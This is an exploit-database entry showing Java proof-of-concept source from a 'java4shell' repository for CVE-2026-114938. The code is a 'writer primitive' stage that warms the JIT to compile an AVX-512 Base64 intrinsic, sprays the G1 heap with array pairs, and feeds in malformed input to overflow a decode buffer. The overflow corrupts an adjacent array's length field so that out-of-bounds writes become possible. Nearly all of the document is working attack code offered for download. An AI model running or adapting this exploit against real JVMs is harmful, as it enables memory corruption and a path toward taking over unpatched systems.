Exploit database

GH-0d2c5d05113e5c8e3760b65dfb5f4245

nu1170r007/java4shell

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-114938

42 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files8
nu1170r007/java4shellRevision bfbafc2635a6

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/WriterPrimitive.java

Java · 9,746 bytes
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.Arrays;
import java.util.Base64;

/**
 * Stage 1: Writer Primitive for CVE-2026-114938
 *
 * Demonstrates upgrading the 62-byte fixed-value heap overflow into a
 * controlled out-of-bounds write by corrupting an adjacent array's length
 * field via G1 heap layout manipulation.
 *
 * The overflow writes 62 bytes past the decode buffer. If we can land
 * the buffer immediately before another byte[] in memory, the overflow
 * corrupts that array's object header — specifically the length field
 * stored at offset +16 (compressed oops) or +24 (uncompressed).
 *
 * With a corrupted length, Java permits reads/writes past the array's
 * true bounds — the writer primitive.
 *
 * REQUIRES: x86-64 with AVX-512 VBMI, JDK 17.0.6+ / 21 / 25 / 27
 * SAFE: All writes stay within a large backing allocation.
 */
public final class WriterPrimitive {

    private static volatile int sink;

    // G1 region alignment constants
    private static final int HEADER_SIZE = 16; // array header (mark + klass + length)
    private static final int DECODE_BUF_SIZE = 50; // ceil(65/4)*3 - 1
    private static final int OVERFLOW_SIZE = 62;
    private static final int OVERFLOW_START = 48; // write begins at dst+48

    // We allocate arrays of this size so the overflow from one lands on the next
    // Array body starts at offset 16 (after header), so we need arrays where
    // the gap between body starts equals DECODE_BUF_SIZE + padding to header
    private static final int VICTIM_SIZE = 128;
    private static final int SPRAY_COUNT = 4096;

    public static void main(String[] args) throws Exception {
        System.out.println("=== Java4Shell Writer Primitive (CVE-2026-114938) ===");
        System.out.println("runtime=" + System.getProperty("java.runtime.version"));
        System.out.println("vm=" + System.getProperty("java.vm.name"));
        System.out.println();

        Base64.Decoder decoder = Base64.getDecoder();
        byte[] valid = "A".repeat(64).getBytes(StandardCharsets.US_ASCII);
        byte[] malformed = ("A".repeat(64) + "=").getBytes(StandardCharsets.US_ASCII);

        // Phase 1: Warm the JIT — C2 must compile the AVX-512 intrinsic
        System.out.println("[WARM] Compiling AVX-512 Base64 intrinsic...");
        byte[] warmBuf = new byte[4096];
        for (int i = 0; i < 200_000; i++) {
            sink += decoder.decode(valid, warmBuf);
        }
        System.out.println("[WARM] JIT compilation complete.");

        // Phase 2: Heap spray — allocate pairs of (decode_target, victim)
        // We want them to be adjacent in memory. G1 uses TLABs for
        // thread-local allocation, which are bump-pointer within Eden.
        // Sequential allocations on the same thread are typically adjacent.
        System.out.println("[SPRAY] Allocating " + SPRAY_COUNT + " array pairs...");

        byte[][] targets = new byte[SPRAY_COUNT][];
        byte[][] victims = new byte[SPRAY_COUNT][];

        for (int i = 0; i < SPRAY_COUNT; i++) {
            // Allocate decode target sized to produce the overflow
            // We use the EXACT buffer size the decoder would allocate internally
            // For external decode (decode(src, dst)), dst must be >= outputLen
            targets[i] = new byte[DECODE_BUF_SIZE + OVERFLOW_SIZE + HEADER_SIZE];

            // Victim array immediately after — the overflow should land on this
            victims[i] = new byte[VICTIM_SIZE];
            Arrays.fill(victims[i], (byte) 0xBB); // sentinel
        }

        // Phase 3: Trigger overflow on each pair, check which ones corrupt
        System.out.println("[TRIGGER] Firing overflow on all pairs...");
        int corrupted = 0;
        int lengthCorrupted = 0;
        int bestIdx = -1;
        int bestNewLen = 0;

        for (int i = 0; i < SPRAY_COUNT; i++) {
            // Record original sentinel
            byte origFirst = victims[i][0];
            int origLen = victims[i].length;

            // Fill target with sentinel
            Arrays.fill(targets[i], (byte) 0x5A);

            try {
                decoder.decode(malformed, targets[i]);
            } catch (IllegalArgumentException expected) {
                // Expected — the malformed input is rejected, but corruption is done
            }

            // Check if the victim's content was modified
            boolean contentChanged = false;
            for (int j = 0; j < Math.min(VICTIM_SIZE, victims[i].length); j++) {
                if (victims[i][j] != (byte) 0xBB) {
                    contentChanged = true;
                    break;
                }
            }

            // The key check: did the overflow corrupt the victim array's
            // length field? We can detect this via Unsafe or by checking
            // if the array reports a different length.
            // In practice, the JVM trusts the length field — if it's corrupted,
            // victims[i].length will return the corrupted value.
            int currentLen = getArrayLength(victims[i]);
            boolean lenChanged = (currentLen != origLen);

            if (contentChanged || lenChanged) {
                corrupted++;
                if (lenChanged) {
                    lengthCorrupted++;
                    if (currentLen > bestNewLen && currentLen < 1_000_000) {
                        bestIdx = i;
                        bestNewLen = currentLen;
                    }
                }
            }
        }

        System.out.println();
        System.out.println("=== Results ===");
        System.out.printf("Pairs sprayed:     %d%n", SPRAY_COUNT);
        System.out.printf("Content corrupted: %d%n", corrupted);
        System.out.printf("Length corrupted:   %d%n", lengthCorrupted);

        if (bestIdx >= 0) {
            System.out.printf("Best victim index: %d%n", bestIdx);
            System.out.printf("Original length:   %d%n", VICTIM_SIZE);
            System.out.printf("Corrupted length:  %d%n", bestNewLen);
            System.out.println();
            System.out.println("WRITER PRIMITIVE ACHIEVED");
            System.out.println();

            // Demonstrate the writer: write past the original bounds
            byte[] writer = victims[bestIdx];
            System.out.printf("Writing 0xDE at offset %d (past original %d-byte bound)...%n",
                VICTIM_SIZE + 1, VICTIM_SIZE);

            try {
                writer[VICTIM_SIZE + 1] = (byte) 0xDE;
                byte readBack = writer[VICTIM_SIZE + 1];
                System.out.printf("Read back: 0x%02X%n", readBack);
                System.out.println("OUT-OF-BOUNDS WRITE CONFIRMED");
            } catch (ArrayIndexOutOfBoundsException e) {
                System.out.println("Write failed — JVM caught the OOB (length field not corrupted as expected)");
            }
        } else if (corrupted > 0) {
            System.out.println();
            System.out.println("PARTIAL — heap content corrupted but length field not hit.");
            System.out.println("The overflow landed on array content, not headers.");
            System.out.println("Adjust spray alignment or retry (probabilistic).");
        } else {
            System.out.println();
            System.out.println("NOT ACHIEVED — arrays not adjacent in heap.");
            System.out.println("Possible causes:");
            System.out.println("  - CPU lacks AVX-512 VBMI (required)");
            System.out.println("  - JDK is patched (17.0.21.1+ / 21.0.13.1+)");
            System.out.println("  - G1 TLAB layout didn't align (retry)");
            System.out.println("  - Array sizes don't align overflow to header");
        }

        // Phase 4: Demonstrate linear OOB write if we have the primitive
        if (bestIdx >= 0) {
            System.out.println();
            demonstrateLinearWrite(victims[bestIdx], VICTIM_SIZE, bestNewLen);
        }
    }

    /**
     * Once we have a length-corrupted array, we can write chosen bytes
     * at chosen offsets past the original bound. This is the writer primitive.
     */
    private static void demonstrateLinearWrite(byte[] writer, int origLen, int newLen) {
        System.out.println("=== Linear Write Demonstration ===");
        int writeRange = Math.min(newLen, origLen + 256) - origLen;
        System.out.printf("Writing pattern 0x41..0x%02X at offsets %d..%d%n",
            (0x41 + writeRange - 1) & 0xFF, origLen, origLen + writeRange - 1);

        int written = 0;
        for (int i = 0; i < writeRange; i++) {
            try {
                writer[origLen + i] = (byte) (0x41 + (i % 26));
                written++;
            } catch (ArrayIndexOutOfBoundsException e) {
                break;
            }
        }

        System.out.printf("Successfully wrote %d bytes past original bound.%n", written);

        // Read them back to confirm
        int verified = 0;
        for (int i = 0; i < written; i++) {
            try {
                byte expected = (byte) (0x41 + (i % 26));
                if (writer[origLen + i] == expected) verified++;
            } catch (ArrayIndexOutOfBoundsException e) {
                break;
            }
        }
        System.out.printf("Verified %d/%d bytes read back correctly.%n", verified, written);

        if (verified == written && written > 0) {
            System.out.println("WRITER PRIMITIVE FULLY OPERATIONAL");
        }
    }

    /**
     * Get array length. Under normal JVM operation, this is just .length.
     * If the header is corrupted, .length returns the corrupted value.
     */
    private static int getArrayLength(byte[] arr) {
        return arr.length;
    }
}